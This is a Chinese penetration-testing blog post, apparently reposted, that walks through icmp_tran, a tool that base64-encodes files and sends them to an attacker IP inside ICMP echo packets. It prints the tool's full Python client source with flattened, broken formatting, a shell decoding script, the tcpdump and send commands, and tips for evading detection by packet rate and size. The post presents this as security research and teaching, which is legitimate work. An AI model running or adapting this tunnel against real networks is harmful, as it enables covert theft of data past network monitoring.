内网渗透系列:内网隧道之icmp_tran

admin 2025年2月13日11:07:07评论9 views字数 6411阅读21分22秒阅读模式

内网渗透系列:内网隧道之icmp_tran

前言

本文研究ICMP隧道的一个工具,icmp_tran

github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate

一、概述

1、简介

最后更新于2015年,用Python编写,将文件base64编码后,通过ICMP包传输

条件:

    目标机可以ping出去

    目标机管理员权限

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)服务端

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

运行sh脚本

./tran.sh

(2)客户端

windows

icmp_tran.exe <file> <attacker-IP>

linux

sudo python icmp_tran.py <file> <attacker-IP>

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

内网渗透系列:内网隧道之icmp_tran

2、建立隧道

(1)攻击机监听

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w o

(2)目标机发送

准备一个test.zip文件

内网渗透系列:内网隧道之icmp_tran

建立隧道发送

sudo python icmp_tran.py test.zip 192.168.10.128

(3)攻击机转换

收到文件

内网渗透系列:内网隧道之icmp_tran
进行转换
内网渗透系列:内网隧道之icmp_tran

成功得到zip文件
内网渗透系列:内网隧道之icmp_tran

3、抓包看看

可以看到都是ICMP包,data里是base64编码
内网渗透系列:内网隧道之icmp_tran

三、探索

1、源码与分析

(1)icmp_tran.py

#!/usr/bin/env python2# -*- coding: utf-8 -*-import timeimport socketimport structimport selectimport randomimport asyncoreimport osimport sysICMP_ECHO_REQUEST = 8 TIME_OUT = 1 #时长视情况而定ICMP_CODE = socket.getprotobyname('icmp')ERROR_DESCR = {    1: ' - Note that ICMP messages can only be sent from processes running as root.',    10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'    }__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']def checksum(source_string):    sum = 0    count_to = (len(source_string) / 2) * 2    count = 0    while count < count_to:        this_val = ord(source_string[count + 1])*256+ord(source_string[count])        sum = sum + this_val        sum = sum & 0xffffffff        count = count + 2    if count_to < len(source_string):        sum = sum + ord(source_string[len(source_string) - 1])        sum = sum & 0xffffffff    sum = (sum >> 16) + (sum & 0xffff)    sum = sum + (sum >> 16)    answer = ~sum    answer = answer & 0xffff    answer = answer >> 8 | (answer << 8 & 0xff00)    return answerdef create_packet(id):    """构建一个echo request packet"""    # header的构造是type (8), code (8), checksum (16), id (16), sequence (16)    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)    data = "$$START$$"+line    my_checksum = checksum(header + data)    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)    return header + datadef send_packet(dest_addr, timeout=TIME_OUT):    # 确认能发送    try:        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)    except socket.error as e:        if e.errno in ERROR_DESCR: # 不是高权限            raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))        raise     try:        host = socket.gethostbyname(dest_addr) # host    except socket.gaierror:        return    # 创建packet    packet_id = int((id(timeout) * random.random()) % 65535)    packet = create_packet(packet_id)    # 发送packet    while packet:        sent = my_socket.sendto(packet, (dest_addr, 1))        packet = packet[sent:]    delay = receive_packet(my_socket, packet_id, time.time(), timeout)    my_socket.close()    return delaydef receive_packet(my_socket, packet_id, time_sent, timeout):    time_left = timeout    while True:        ready = select.select([my_socket], [], [], time_left)        if ready[0] == []: # Timeout            return        time_received = time.time()        rec_packet, addr = my_socket.recvfrom(1024)        icmp_header = rec_packet[20:28]        type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)        if p_id == packet_id:            return time_received - time_sent        time_left -= time_received - time_sent        if time_left <= 0:            returndef verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):    for i in range(count):        print('ping {}...'.format(dest_addr))        delay = send_packet(dest_addr, timeout)        if delay == None:            print('failed. (Timeout within {} seconds.)'.format(timeout))        else:            delay = round(delay * 1000.0, 4)            print('get ping in {} milliseconds.'.format(delay))    print('')class PingQuery(asyncore.dispatcher):    def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):        asyncore.dispatcher.__init__(self)        try:            self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)        except socket.error as e:            if e.errno in ERROR_DESCR:                raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))            raise         self.time_received = 0        self.time_sent = 0        self.timeout = timeout        self.packet_id = int((id(timeout) / p_id) % 65535)        self.host = host        self.packet = create_packet(self.packet_id)        if ignore_errors:            self.handle_error = self.do_not_handle_errors            self.handle_expt = self.do_not_handle_errors    def writable(self):        return self.time_sent == 0    def handle_write(self):        self.time_sent = time.time()        while self.packet:            sent = self.sendto(self.packet, (self.host, 1))            self.packet = self.packet[sent:]    def readable(self):        if (not self.writable()            and self.timeout < (time.time() - self.time_sent)):            self.close()            return False        return not self.writable()    def handle_read(self):        read_time = time.time()        packet, addr = self.recvfrom(1024)        header = packet[20:28]        type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)        if p_id == self.packet_id:            self.time_received = read_time            self.close()    def get_result(self):        if self.time_received > 0:            return self.time_received - self.time_sent    def get_host(self):        return self.host    def do_not_handle_errors(self):        pass    def create_socket(self, family, type, proto):        sock = socket.socket(family, type, proto)        sock.setblocking(0)        self.set_socket(sock)        self.family_and_type = family, type    def handle_connect(self):        pass    def handle_accept(self):        pass    def handle_close(self):        self.close()def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):    results, host_list, id = {}, [], 0    for host in hosts:        try:            host_list.append(socket.gethostbyname(host))        except socket.gaierror:            results[host] = None    while host_list:        sock_list = []        for ip in host_list[:step]: #step最多是512            id += 1            sock_list.append(PingQuery(ip, id, timeout, ignore_errors))            host_list.remove(ip)        asyncore.loop(timeout)        for sock in sock_list:            results[sock.get_host()] = sock.get_result()    return resultsif __name__ == '__main__':    msg = 'missing mandatory options. Execute as root:n'    msg += './icmpsh-m.py <source IP address> <destination IP address>n'    print(msg)  file=sys.argv[1]  destination = sys.argv[2]  # os.system("certutil -encode  "+ file +" test.txt") # windows    os.system("base64  "+ file +" > test.txt") # linux  f=open("test.txt", "r")  for line in f:      text1= line[0:32]    verbose_ping(destination)    host_list = [destination]    for host, ping in multi_ping_query(host_list).iteritems():      print(host, '=', ping)

(2)tran.sh

就是base64解码得到文件

#!/bin/bashstrings output.txt >> output1.txtecho "[+] parsing the output.txt file"grep -i start output1.txt | uniq >> transmitted.txtsed -i -e 's/$$START$$//g' transmitted.txtecho "[+] cleaning"rm output1.txtrm output.txtecho "[+] tranmistted.txt created"cat transmitted.txt |base64 -d >>testecho "[+] file test created"

2、检测与绕过

(1)异常ICMP数据包数量

0.01s内10个包,当然这是没有做相关策略,可以改为和ping一样的间隔,主要是这是传个文件就结束了,所以maybe可以天下武功唯快不破,视情况而定
内网渗透系列:内网隧道之icmp_tran

(2)异常ICMP包长度

已经做了拆分

(3)payload内容

payload内容这个还是没办法避免的事情

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32byteslinux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

内容肯定还是与正常ping命令不同

不过send和receive的内容相同

结语

简单试下怎么传文件

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

原文始发于微信公众号(红客突击队):内网渗透系列:内网隧道之icmp_tran

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日11:07:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透系列:内网隧道之icmp_tranhttp://cn-sec.com/archives/1065470.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息